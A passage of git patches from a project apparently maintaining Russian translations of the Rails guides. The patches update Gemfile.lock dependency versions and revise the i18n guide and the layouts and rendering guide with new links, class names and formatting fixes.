"/Users/mikdiet/projects/opensource/static_docs" gem "bootsnap", ">= 1.1.0", require: false diff --git a/Gemfile.lock b/Gemfile.lock index 925bd28b..ea423ee2 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -2,43 +2,43 @@ GEM remote: https://rubygems.org/ specs: RedCloth (4.3.2) - actioncable (5.2.4.3) - actionpack (= 5.2.4.3) + actioncable (5.2.4.5) + actionpack (= 5.2.4.5) nio4r (~> 2.0) websocket-driver (>= 0.6.1) - actionmailer (5.2.4.3) - actionpack (= 5.2.4.3) - actionview (= 5.2.4.3) - activejob (= 5.2.4.3) + actionmailer (5.2.4.5) + actionpack (= 5.2.4.5) + actionview (= 5.2.4.5) + activejob (= 5.2.4.5) mail (~> 2.5, >= 2.5.4) rails-dom-testing (~> 2.0) - actionpack (5.2.4.3) - actionview (= 5.2.4.3) - activesupport (= 5.2.4.3) + actionpack (5.2.4.5) + actionview (= 5.2.4.5) + activesupport (= 5.2.4.5) rack (~> 2.0, >= 2.0.8) rack-test (>= 0.6.3) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.0.2) - actionview (5.2.4.3) - activesupport (= 5.2.4.3) + actionview (5.2.4.5) + activesupport (= 5.2.4.5) builder (~> 3.1) erubi (~> 1.4) rails-dom-testing (~> 2.0) rails-html-sanitizer (~> 1.0, >= 1.0.3) - activejob (5.2.4.3) - activesupport (= 5.2.4.3) + activejob (5.2.4.5) + activesupport (= 5.2.4.5) globalid (>= 0.3.6) - activemodel (5.2.4.3) - activesupport (= 5.2.4.3) - activerecord (5.2.4.3) - activemodel (= 5.2.4.3) - activesupport (= 5.2.4.3) + activemodel (5.2.4.5) + activesupport (= 5.2.4.5) + activerecord (5.2.4.5) + activemodel (= 5.2.4.5) + activesupport (= 5.2.4.5) arel (>= 9.0) - activestorage (5.2.4.3) - actionpack (= 5.2.4.3) - activerecord (= 5.2.4.3) + activestorage (5.2.4.5) + actionpack (= 5.2.4.5) + activerecord (= 5.2.4.5) marcel (~> 0.3.1) - activesupport (5.2.4.3) + activesupport (5.2.4.5) concurrent-ruby (~> 1.0, >= 1.0.2) i18n (>= 0.7, < 2) minitest (~> 5.1) @@ -62,7 +62,7 @@ GEM execjs coffee-script-source (1.12.2) commonjs (0.2.7) - concurrent-ruby (1.1.6) + concurrent-ruby (1.1.8) config (2.2.1) deep_merge (~> 1.2, >= 1.2.1) dry-validation (~> 1.0, >= 1.0.0) @@ -108,7 +108,7 @@ GEM dry-equalizer (~> 0.2) dry-initializer (~> 3.0) dry-schema (~> 1.5) - erubi (1.9.0) + erubi (1.10.0) erubis (2.7.0) execjs (2.7.0) factory_bot (5.1.1) @@ -136,7 +136,7 @@ GEM haml (>= 4.0, < 6) nokogiri (>= 1.6.0) ruby_parser (~> 3.5) - i18n (1.8.3) + i18n (1.8.9) concurrent-ruby (~> 1.0) jquery-rails (4.3.5) rails-dom-testing (>= 1, < 3) @@ -153,7 +153,7 @@ GEM listen (3.2.1) rb-fsevent (~> 0.10, >= 0.10.3) rb-inotify (~> 0.9, >= 0.9.10) - loofah (2.6.0) + loofah (2.9.0) crass (~> 1.0.2) nokogiri (>= 1.5.9) mail (2.7.1) @@ -164,7 +164,7 @@ GEM mimemagic (0.3.5) mini_mime (1.0.2) mini_portile2 (2.4.0) - minitest (5.14.1) + minitest (5.14.4) msgpack (1.3.3) net-scp (2.0.0) net-ssh (>= 2.6.5, < 6.0.0) @@ -173,8 +173,8 @@ GEM net-ssh (5.2.0) net-ssh-gateway (2.0.0) net-ssh (>= 4.0.0) - nio4r (2.5.2) - nokogiri (1.10.9) + nio4r (2.5.5) + nokogiri (1.10.10) mini_portile2 (~> 2.4.0) pg (1.2.3) pry (0.12.2) @@ -185,32 +185,32 @@ GEM rack (2.2.3) rack-test (1.1.0) rack (>= 1.0, < 3) - rails (5.2.4.3) - actioncable (= 5.2.4.3) - actionmailer (= 5.2.4.3) - actionpack (= 5.2.4.3) - actionview (= 5.2.4.3) - activejob (= 5.2.4.3) - activemodel (= 5.2.4.3) - activerecord (= 5.2.4.3) - activestorage (= 5.2.4.3) - activesupport (= 5.2.4.3) + rails (5.2.4.5) + actioncable (= 5.2.4.5) + actionmailer (= 5.2.4.5) + actionpack (= 5.2.4.5) + actionview (= 5.2.4.5) + activejob (= 5.2.4.5) + activemodel (= 5.2.4.5) + activerecord (= 5.2.4.5) + activestorage (= 5.2.4.5) + activesupport (= 5.2.4.5) bundler (>= 1.3.0) - railties (= 5.2.4.3) + railties (= 5.2.4.5) sprockets-rails (>= 2.0.0) rails-dom-testing (2.0.3) activesupport (>= 4.2.0) nokogiri (>= 1.6) rails-html-sanitizer (1.3.0) loofah (~> 2.3) - railties (5.2.4.3) - actionpack (= 5.2.4.3) - activesupport (= 5.2.4.3) + railties (5.2.4.5) + actionpack (= 5.2.4.5) + activesupport (= 5.2.4.5) method_source rake (>= 0.8.7) thor (>= 0.19.0, < 2.0) raindrops (0.19.1) - rake (13.0.1) + rake (13.0.3) rb-fsevent (0.10.3) rb-inotify (0.10.1) ffi (~> 1.0) @@ -255,7 +255,7 @@ GEM sprockets (3.7.2) concurrent-ruby (~> 1.0) rack (> 1, < 3) - sprockets-rails (3.2.1) + sprockets-rails (3.2.2) actionpack (>= 4.0) activesupport (>= 4.0) sprockets (>= 3.0.0) @@ -267,7 +267,7 @@ GEM therubyracer (0.12.3) libv8 (~> 3.16.14.15) ref - thor (1.0.1) + thor (1.1.0) thread_safe (0.3.6) tilt (2.0.10) twitter-bootstrap-rails (2.2.8) @@ -275,7 +275,7 @@ GEM execjs rails (>= 3.1) railties (>= 3.1) - tzinfo (1.2.7) + tzinfo (1.2.9) thread_safe (~> 0.1) uglifier (4.2.0) execjs (>= 0.3.0, < 3) @@ -286,7 +286,7 @@ GEM nokogiri (>= 1.2.0) rack (>= 1.0) rack-test (>= 0.5.3) - websocket-driver (0.7.2) + websocket-driver (0.7.3) websocket-extensions (>= 0.1.0) websocket-extensions (0.1.5) @@ -310,7 +310,7 @@ DEPENDENCIES nokogiri pg pry-rails - rails (~> 5.2.4.3) + rails (~> 5.2.4.5) redcarpet rouge rspec-rails From 74344e63858f84d5d9a2ea6f604e6d32141d8471 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Thu, 25 Feb 2021 14:01:32 +0300 Subject: [PATCH 559/932] Update i18n guide --- source/i18n.md | 88 ++++++++++++++++++++++++++---------------------- source/index.yml | 4 +-- 2 files changed, 49 insertions(+), 43 deletions(-) diff --git a/source/i18n.md b/source/i18n.md index 944f4230..52da50f0 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -99,11 +99,11 @@ en: hello: "Hello world" ``` -Это означает, что в локали `:en`, ключ _hello_ связан со строкой _"Hello world"_. Каждая строка в Rails интернационализируется подобным образом, смотрите, к примеру, валидационные сообщения Active Model в файле [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) или форматы времени и даты в файле [`activesupport/lib/active_support/locale/en.yml`](http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml). Для хранения переводов в бэкенде по умолчанию (простом) можете использовать YAML или стандартные хэши Ruby. +Это означает, что в локали `:en`, ключ _hello_ связан со строкой _"Hello world"_. Каждая строка в Rails интернационализируется подобным образом, смотрите, к примеру, валидационные сообщения Active Model в файле [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/main/activemodel/lib/active_model/locale/en.yml) или форматы времени и даты в файле [`activesupport/lib/active_support/locale/en.yml`](http://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml). Для хранения переводов в бэкенде по умолчанию (простом) можете использовать YAML или стандартные хэши Ruby. Библиотека I18n будет использовать **английский** как **локаль по умолчанию**, т.е., если другая локаль не установлена, при поиске переводов будет использоваться `:en`. -NOTE: В библиотеке i18n принят **прагматичный подход** к ключам локали (после [некоторых обсуждений](https://groups.google.com/forum/#!topic/rails-i18n/FN7eLH2-lHA)), включающий только часть _локаль_ ("язык"), наподобие `:en`, `:pl`, но не часть _регион_, подобно `:en-US` или `:en-GB`, как традиционно используется для разделения "языков" и "региональных настроек", или "диалектов". Многие международные приложения используют только элемент "язык" локали, такой как `:cs`, `:th` или `:es` (для Чехии, Таиланда и Испании). Однако, также имеются региональные различия внутри языковой группы, которые могут быть важными. Например, в локали `:en-US` как символ валюты будет $, а в `:en-GB` будет £. Ничто не остановит вас от разделения региональных и других настроек следующим образом: предоставляете полную локаль "English - United Kingdom" в словаре `:en-GB`. +NOTE: В библиотеке i18n принят **прагматичный подход** к ключам локали (после [некоторых обсуждений](https://groups.google.com/forum/#!topic/rails-i18n/FN7eLH2-lHA)), включающий только часть _локаль_ ("язык"), наподобие `:en`, `:pl`, но не часть _регион_, подобно `:"en-US"` или `:"en-GB"`, что традиционно используется для разделения "языков" и "региональных настроек", или "диалектов". Многие международные приложения используют только элемент "язык" локали, такой как `:cs`, `:th` или `:es` (для Чехии, Таиланда и Испании). Однако, также имеются региональные различия внутри языковой группы, которые могут быть важными. Например, в локали `:"en-US"` как символ валюты будет $, а в `:"en-GB"` будет £. Ничто не остановит вас от разделения региональных и других настроек следующим образом: предоставляете полную локаль "English - United Kingdom" в словаре `:"en-GB"`. **Путь загрузки переводов** (`I18n.load_path`) - это массив путей к файлам, которые будут загружены автоматически. Настройка этого пути позволяет настроить структуру директорий переводов и схему именования файлов. @@ -112,8 +112,8 @@ NOTE: Бэкенд лениво загружает эти переводы, ко Можно изменить локаль по умолчанию, так же как и настроить пути загрузки переводов, в `config/application.rb` следующим образом: ```ruby - config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')] - config.i18n.default_locale = :de +config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')] +config.i18n.default_locale = :de ``` Путь загрузки должен быть указан до того, как будет произведен поиск любых переводов. Чтобы изменить локаль по умолчанию в инициализаторе вместо `config/application.rb`: @@ -131,7 +131,7 @@ I18n.available_locales = [:en, :pt] I18n.default_locale = :pt ``` -Отметьте, что добавление напрямую в `I18n.load_paths`, вместо конфигурации i18n приложения, _не_ перезапишет переводы из внешних гемов. +Отметьте, что добавление напрямую в `I18n.load_path`, вместо конфигурации i18n приложения, _не_ перезапишет переводы из внешних гемов. ### Управление локалью через запросы @@ -258,7 +258,7 @@ end С таким подходом вы не получите `Routing Error` при доступе к своим ресурсам как `http://localhost:3001/books` без локали. Это полезно, когда хочется использовать локаль по умолчанию, если она не определена. -Конечно, нужно специально позаботиться о корневом URL (это обычно "домашняя страница" или "лицевая панель") вашего приложения. URL, такой как `http://localhost:3001/nl` не заработает автоматически, так как объявление `root to: "books#index"` в вашем `routes.rb` не принимает локаль во внимание. (И правильно делает: может быть только один "корневой" URL.) +Конечно, нужно специально позаботиться о корневом URL (это обычно "домашняя страница" или "лицевая панель") вашего приложения. URL, такой как `http://localhost:3001/nl` не заработает автоматически, так как объявление `root to: "dashboard#index"` в вашем `routes.rb` не принимает локаль во внимание. (И правильно делает: может быть только один "корневой" URL.) Вам, вероятно, потребуется связать URL так: @@ -358,7 +358,7 @@ end ``` ```html+erb -# app/views/home/index.html.erb +

    Hello World

    <%= flash[:notice] %>

    ``` @@ -379,7 +379,7 @@ end ``` ```html+erb -# app/views/home/index.html.erb +

    <%= t :hello_world %>

    <%= flash[:notice] %>

    ``` @@ -399,7 +399,9 @@ NOTE: Rails добавляет метод хелпера `t` (`translate`) во en: hello_world: Hello world! hello_flash: Hello flash! +``` +```yaml # config/locales/pirate.yml pirate: hello_world: Ahoy World @@ -456,7 +458,7 @@ I18n.t 'failure.true' # => Translation Missing ```erb -# app/views/products/show.html.erb + <%= "#{t('currency')}#{@product.price}" %> ``` @@ -464,7 +466,9 @@ I18n.t 'failure.true' # => Translation Missing # config/locales/en.yml en: currency: "$" +``` +```yaml # config/locales/es.yml es: currency: "€" @@ -477,7 +481,7 @@ es: Правильная абстракция показана в следующем примере: ```erb -# app/views/products/show.html.erb + <%= t('product_price', price: @product.price) %> ``` @@ -485,7 +489,9 @@ es: # config/locales/en.yml en: product_price: "$%{price}" +``` +```yaml # config/locales/es.yml es: product_price: "%{price} €" @@ -501,7 +507,7 @@ NOTE: Опции `default` и `scope` зарезервированы и не м Хорошо! Теперь давайте добавим временную метку во вью, чтобы продемонстрировать особенности **локализации даты/времени**. Чтобы локализовать формат даты, нужно передать объект Time в `I18n.l`, или (лучше) использовать хелпер Rails `#l`. Формат можно выбрать передав опцию `:format` - по умолчанию используется формат `:default`. ```erb -# app/views/home/index.html.erb +

    <%= t :hello_world %>

    <%= flash[:notice] %>

    <%= l Time.now, format: :short %>

    @@ -541,25 +547,25 @@ Rails позволяет определить правила словообра ``` |-defaults -|---es.rb -|---en.rb +|---es.yml +|---en.yml |-models |---book -|-----es.rb -|-----en.rb +|-----es.yml +|-----en.yml |-views |---defaults -|-----es.rb -|-----en.rb +|-----es.yml +|-----en.yml |---books -|-----es.rb -|-----en.rb +|-----es.yml +|-----en.yml |---users -|-----es.rb -|-----en.rb +|-----es.yml +|-----en.yml |---navigation -|-----es.rb -|-----en.rb +|-----es.yml +|-----en.yml ``` Таким образом можно разделить модель и имена атрибутов модели от текста внутри вью, и все это от "defaults" (т.е. форматов даты и времени). Другие хранилища для библиотеки i18n могут предоставить другие средства подобного разделения. @@ -567,8 +573,8 @@ Rails позволяет определить правила словообра NOTE: Механизм загрузки локали по умолчанию в Rails не загружает файлы локали во вложенных словарях, как тут. Поэтому, чтобы это заработало, нужно явно указать Rails смотреть глубже: ```ruby - # config/application.rb - config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')] +# config/application.rb +config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')] ``` Обзор особенностей I18n API @@ -686,11 +692,11 @@ es: можно найти значение `books.index.title` **в** шаблоне `app/views/books/index.html.erb` таким образом (обратите внимание на точку): -```ruby +```erb <%= t '.title' %> ``` -NOTE: Автоматический скоупинг перевода доступен только из метода хелпера вью `translate`. +NOTE: Автоматическое ограничение перевода доступно только из вспомогательного метода вью `translate`. "Ленивый" поиск также может быть использован в контроллерах: @@ -701,7 +707,7 @@ en: success: Book created! ``` -Это может быть полезным для установки флеш сообщений: +Это может быть полезным для установки сообщений флеш: ```ruby class BooksController < ApplicationController @@ -799,8 +805,8 @@ en: html: title! ``` -```erb -# app/views/home/index.html.erb +```html+erb +
    <%= t('welcome') %>
    <%= raw t('welcome') %>
    <%= t('hello_html') %>
    @@ -965,6 +971,7 @@ errors.messages.blank | numericality | :less_than_or_equal_to | :less_than_or_equal_to | count | | numericality | :other_than | :other_than | count | | numericality | :only_integer | :not_an_integer | - | +| numericality | :in | :in | count | | numericality | :odd | :odd | - | | numericality | :even | :even | - | @@ -1012,19 +1019,19 @@ Rails использует фиксированные строки и други #### Методы хелпера Action View -* `distance_of_time_in_words` переводит и образует множественное число своего результата и интерполирует число секунд, минут, часов и т.д. Смотрите переводы [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4). -* `datetime_select` и `select_month` используют переведенные имена месяцев для заполнения результирующего тега select. Смотрите переводы в [date.month_names](http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15). `datetime_select` также ищет опцию order из [date.order](http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (если вы передали эту опцию явно). Все хелперы выбора даты переводят prompt, используя переводы в пространстве имен [datetime.prompts](http://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39), если применимы. -* Хелперы `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter` и `number_to_human_size` используют настройки формата чисел в пространстве имен [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37). +* `distance_of_time_in_words` переводит и образует множественное число своего результата и интерполирует число секунд, минут, часов и т.д. Смотрите переводы [datetime.distance_in_words](https://github.com/rails/rails/blob/main/actionview/lib/action_view/locale/en.yml#L4). +* `datetime_select` и `select_month` используют переведенные имена месяцев для заполнения результирующего тега select. Смотрите переводы в [date.month_names](http://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L15). `datetime_select` также ищет опцию order из [date.order](http://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L18) (если вы передали эту опцию явно). Все хелперы выбора даты переводят prompt, используя переводы в пространстве имен [datetime.prompts](http://github.com/rails/rails/blob/main/actionview/lib/action_view/locale/en.yml#L39), если применимы. +* Хелперы `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter` и `number_to_human_size` используют настройки формата чисел в пространстве имен [number](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L37). #### Методы Active Model -* `human_name` и `human_attribute_name` используют переводы для имен модели и имен атрибутов, если они доступны в пространстве имен [activerecord.models](http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36). Они также предоставляют переводы для имен унаследованного класса (т.е. для использования вместе с STI), как уже объяснялось выше в "Области сообщения об ошибке". +* `human_name` и `human_attribute_name` используют переводы для имен модели и имен атрибутов, если они доступны в пространстве имен [activerecord.models](http://github.com/rails/rails/blob/main/activerecord/lib/active_record/locale/en.yml#L36). Они также предоставляют переводы для имен унаследованного класса (т.е. для использования вместе с STI), как уже объяснялось выше в "Области сообщения об ошибке". * `ActiveModel::Errors#generate_message` (который используется валидациями Active Model, но также может быть использован вручную) использует `human_name` и `human_attribute_name` (смотрите выше). Он также переводит сообщение об ошибке и поддерживает переводы для имен унаследованного класса, как уже объяснялось выше в "Пространства имен сообщений об ошибке". -* `ActiveModel::Errors#full_messages` добавляет имя атрибута к сообщению об ошибке, используя разделитель, который берется из [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (и по умолчанию равен `"%{attribute} %{message}"`). +* `ActiveModel::Errors#full_messages` добавляет имя атрибута к сообщению об ошибке, используя разделитель, который берется из [errors.format](https://github.com/rails/rails/blob/main/activemodel/lib/active_model/locale/en.yml#L4) (и по умолчанию равен `"%{attribute} %{message}"`). #### Методы Active Support -* `Array#to_sentence` использует настройки формата, которые заданы в пространстве имен [support.array](http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33). +* `Array#to_sentence` использует настройки формата, которые заданы в пространстве имен [support.array](http://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L33). Как хранить свои переводы ------------------------- @@ -1109,13 +1116,13 @@ API I18n поймает все эти исключения, когда они б Причиной для этого является то, что при разработке вам обычно хочется, чтобы вью рендерились несмотря на отсутствующие переводы. -Впрочем, в иных ситуациях, возможно, захочется изменить это поведение. Например, обработка исключений по умолчанию не позволяет просто ловить отсутствующие переводы во время автоматических тестов. Для этой цели может быть определен иной обработчик исключений. Определенный обработчик исключений должен быть методом в модуле I18n или классом с методом `#call`: +Впрочем, в иных ситуациях, возможно, захочется изменить это поведение. Например, обработка исключений по умолчанию не позволяет просто ловить отсутствующие переводы во время автоматических тестов. Для этой цели может быть определен иной обработчик исключений. Определенный обработчик исключений должен быть методом в модуле I18n или классом с методом `call`: ```ruby module I18n class JustRaiseExceptionHandler < ExceptionHandler def call(exception, locale, key, options) - if exception.is_a?(MissingTranslationData) + if exception.is_a?(MissingTranslation) raise exception.to_exception else super @@ -1132,7 +1139,7 @@ I18n.exception_handler = I18n::JustRaiseExceptionHandler.new Однако, если вы используете `I18n::Backend::Pluralization`, этот обработчик также вызывает исключение `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule`, которое обычно должно быть проигнорировано для отката к правилу плюрализации по умолчанию в английской локали. Чтобы этого избежать, можно добавить дополнительную проверку ключа перевода: ```ruby -if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.plural.rule' +if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule' raise exception.to_exception else super @@ -1154,9 +1161,8 @@ API I18n, описанный в этом руководстве, в первую Несколько гемов, которые могут помочь: -* [Globalize](https://github.com/globalize/globalize): Хранит переводы в отдельных таблицах перевода, по одному для каждой переведенной модели * [Mobility](https://github.com/shioyama/mobility): Предоставляет поддержку для хранения переводов во многих форматах, включая таблицы перевода, столбцы json (PostgreSQL) и т.д. -* [Traco](https://github.com/barsoom/traco): Переводимые столбцы для Rails 3 и 4, хранимые в самой таблице моделей +* [Traco](https://github.com/barsoom/traco): Переводимые столбцы, хранимые в самой таблице моделей Заключение ---------- diff --git a/source/index.yml b/source/index.yml index 98042848..8141ef6a 100644 --- a/source/index.yml +++ b/source/index.yml @@ -117,8 +117,8 @@ pages: - title: API интернационализации Rails (I18n) path: rails-internationalization-i18n-api file: i18n.md - revision: c3828a1024853c7b4faf664ec63670781e5a4987 - date: 30/04/2019 + revision: 46b8d343d3a2f1b647c8543d486a3bdf6636ad04 + date: 24/01/2021 - title: Основы Action Mailer path: action-mailer-basics From 781a41e924e9cee3427f374ce1d2cc974d169b47 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sat, 27 Feb 2021 11:20:15 +0300 Subject: [PATCH 560/932] update rendering guide --- source/index.yml | 4 +- source/layouts_and_rendering.md | 149 +++++++++++++++++++------------- 2 files changed, 93 insertions(+), 60 deletions(-) diff --git a/source/index.yml b/source/index.yml index 8141ef6a..bf078cd2 100644 --- a/source/index.yml +++ b/source/index.yml @@ -75,8 +75,8 @@ pages: - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails file: layouts_and_rendering.md - revision: 9fe5aa32a7c962e084117af94351061009cd350b - date: 14/07/2019 + revision: 1280620767c6ce45576b893a8073d44590f4511c + date: 23/01/2021 - title: Хелперы Action View path: action-view-helpers diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index 2bcb26d3..e6fd5d56 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -22,9 +22,13 @@ С точки зрения контроллера есть три способа создать отклик HTTP: -* Вызвать `render` для создания полного отклика, возвращаемого браузеру -* Вызвать `redirect_to` для передачи браузеру кода переадресации HTTP -* Вызвать `head` для создания отклика, включающего только заголовки HTTP, возвращаемого браузеру +* Вызвать [`render`][controller.render] для создания полного отклика, возвращаемого браузеру +* Вызвать [`redirect_to`][] для передачи браузеру кода переадресации HTTP +* Вызвать [`head`][] для создания отклика, включающего только заголовки HTTP, возвращаемого браузеру + +[controller.render]: https://api.rubyonrails.org/classes/AbstractController/Rendering.html#method-i-render +[`redirect_to`]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_to +[`head`]: https://api.rubyonrails.org/classes/ActionController/Head.html#method-i-head ### Рендеринг по умолчанию: соглашения по конфигурации в действии @@ -97,7 +101,7 @@ NOTE: Фактически рендеринг осуществляется вл ### Использование `render` -Во многих случаях метод `ActionController::Base#render` выполняет большую работу по рендерингу содержимого Вашего приложения для использования в браузере. Имеются различные способы настройки возможностей `render`. Вы можете рендерить вью по умолчанию для шаблона Rails, или определенный шаблон, или файл, или встроенный код, или совсем ничего. Можно рендерить текст, JSON или XML. Также можно определить тип содержимого или статус HTTP отрендеренного отклика. +Во многих случаях метод [`ActionController::Base#render`][controller.render] выполняет большую работу по рендерингу содержимого Вашего приложения для использования в браузере. Имеются различные способы настройки возможностей `render`. Вы можете рендерить вью по умолчанию для шаблона Rails, или определенный шаблон, или файл, или встроенный код, или совсем ничего. Можно рендерить текст, JSON или XML. Также можно определить тип содержимого или статус HTTP отрендеренного отклика. TIP: Если хотите увидеть точные результаты вызова `render` без необходимости проверять это в браузере, можете вызвать `render_to_string`. Этот метод принимает те же самые опции, что и `render`, но возвращает строку вместо отправки отклика обратно браузеру. @@ -126,7 +130,7 @@ def update if @book.update(book_params) redirect_to(@book) else - render :edit + render :edit, status: :unprocessable_entity end end ``` @@ -147,7 +151,7 @@ render template: "products/show" #### Оборачивание -Вышеописанные три метода рендеринга (рендеринг другого шаблона в контроллере, рендеринг шаблона в другом контроллере и рендеринг произвольного файла в файловой системе) на самом деле являются вариантами одного и того же экшна. +Вышеописанные два метода рендеринга (рендеринг шаблона другого экшна в контроллере и рендеринг шаблона другого экшна в другом контроллере) на самом деле являются вариантами одной и той же операции. Фактически в классе BooksController, в экшне update, в котором мы хотим отрендерить шаблон edit, если книга не была успешно обновлена, все нижеследующие вызовы отрендерят шаблон `edit.html.erb` в директории `views/books`: @@ -261,9 +265,19 @@ NOTE: Использование опции `:file` в комбинации с TIP: `send_file` часто является более быстрым и лучшим вариантом, если макет не требуется. +#### Рендеринг объектов + +Rails может рендерить объекты, отвечающие на `:render_in`. + +```ruby +render MyRenderable.new +``` + +Это вызывает `render_in` на представленном объекте в контексте текущей вью. + #### Опции для `render` -Вызов метода `render` как правило принимает шесть опций: +Вызов метода [`render`][controller.render] как правило принимает шесть опций: * `:content_type` * `:layout` @@ -433,7 +447,7 @@ end ##### Определение макетов для контроллеров -Вы можете переопределить дефолтные соглашения по макетам в контроллере, используя объявление `layout`. Например: +Вы можете переопределить дефолтные соглашения по макетам в контроллере, используя объявление [`layout`][]. Например: ```ruby class ProductsController < ApplicationController @@ -455,6 +469,8 @@ end С этим объявлением каждая из вью во всем приложении будет использовать `app/views/layouts/main.html.erb` как макет. +[`layout`]: https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout + ##### Выбор макетов во время выполнения Можно использовать символ для отсрочки выбора макета до тех пор, пока не будет обработан запрос: @@ -555,15 +571,19 @@ end Следуя логике наследования макета, если шаблон или партиал не найдены по обычному пути, контроллер будет искать шаблон или партиал для рендеринга по цепочке наследования. Например: ```ruby -# in app/controllers/application_controller +# app/controllers/application_controller class ApplicationController < ActionController::Base end +``` -# in app/controllers/admin_controller +```ruby +# app/controllers/admin_controller class AdminController < ApplicationController end +``` -# in app/controllers/admin/products_controller +```ruby +# app/controllers/admin/products_controller class Admin::ProductsController < AdminController def index end @@ -631,13 +651,13 @@ end ### Использование `redirect_to` -Другой способ управлять возвратом отклика на HTTP-запрос - с помощью `redirect_to`. Как вы видели, `render` сообщает Rails, какую вью (или иной ассет) использовать при построении отклика. Метод `redirect_to` делает нечто совершенно отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из любого места, где сейчас выполняется код, к экшну index фотографий вашего приложения с помощью этого вызова: +Другой способ управлять возвратом отклика на HTTP-запрос - с помощью [`redirect_to`][]. Как вы видели, `render` сообщает Rails, какую вью (или иной ассет) использовать при построении отклика. Метод `redirect_to` делает нечто совершенно отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из любого места, где сейчас выполняется код, к экшну index фотографий вашего приложения с помощью этого вызова: ```ruby redirect_to photos_url ``` -Можно использовать `redirect_back`, чтобы вернуть пользователя на страницу с которой он только что пришел. Это место расположения вытаскивается из заголовка `HTTP_REFERER`, который не обязательно будет установлен браузером, поэтому нужно предоставить `fallback_location` для использования в таком случае. +Можно использовать [`redirect_back`][], чтобы вернуть пользователя на страницу с которой он только что пришел. Это место расположения вытаскивается из заголовка `HTTP_REFERER`, который не обязательно будет установлен браузером, поэтому нужно предоставить `fallback_location` для использования в таком случае. ```ruby redirect_back(fallback_location: root_path) @@ -645,6 +665,8 @@ redirect_back(fallback_location: root_path) NOTE: `redirect_to` и `redirect_back` не прерывают и не возвращают из выполняемого метода немедленно, а просто устанавливают отклики HTTP. Выражения, следующие после них в методе, будут выполнены. При необходимости можно прервать явным `return` или любым другим механизмом прерывания. +[`redirect_back`]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_back + #### Получение различного кода статуса перенаправления Rails использует код статуса HTTP 302, временное перенаправление, при вызове `redirect_to`. Если хотите использовать иной код статуса, возможно 301, постоянное перенаправление, можете использовать опцию `:status`: @@ -714,7 +736,7 @@ end ### Использование `head` для создания отклика, содержащего только заголовок -Метод `head` может использоваться для отправки браузеру откликов, содержащих только заголовки. Метод `head` принимает число или символ (смотрите [таблицу соответствия](#the-status-option)), представляющие код статуса HTTP. Аргумент опций интерпретируется как хэш заголовков имен и значений. Например, можно возвратить только заголовок ошибки: +Метод [`head`][] может использоваться для отправки браузеру откликов, содержащих только заголовки. Метод `head` принимает число или символ (смотрите [таблицу соответствия](#the-status-option)), представляющие код статуса HTTP. Аргумент опций интерпретируется как хэш заголовков имен и значений. Например, можно возвратить только заголовок ошибки: ```ruby head :bad_request @@ -722,7 +744,7 @@ head :bad_request Это создаст следующий заголовок: -```bash +```http HTTP/1.1 400 Bad Request Connection: close Date: Sun, 24 Jan 2010 12:15:53 GMT @@ -741,7 +763,7 @@ head :created, location: photo_path(@photo) Что создаст: -```bash +```http HTTP/1.1 201 Created Connection: close Date: Sun, 24 Jan 2010 12:16:44 GMT @@ -759,27 +781,36 @@ Cache-Control: no-cache Когда Rails рендерит вью как отклик, он делает это путем объединения вью с текущим макетом, используя правила для нахождения текущего макета, которые были рассмотрены ранее. В макетах у вас есть доступ к трем инструментам для объединения различных кусочков результата для формирования общего отклика: * Теги ассетов -* `yield` и `content_for` +* `yield` и [`content_for`][] * Партиалы +[`content_for`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for + ### Хелперы ассетных тегов Хелперы ассетных тегов предоставляют методы для генерации HTML, связывающие вью с лентами новостей, JavaScript, таблицами стилей, изображениями, видео и аудио. В Rails доступно шесть хелперов ассетных тегов: -* `auto_discovery_link_tag` -* `javascript_include_tag` -* `stylesheet_link_tag` -* `image_tag` -* `video_tag` -* `audio_tag` +* [`auto_discovery_link_tag`][] +* [`javascript_include_tag`][] +* [`stylesheet_link_tag`][] +* [`image_tag`][] +* [`video_tag`][] +* [`audio_tag`][] 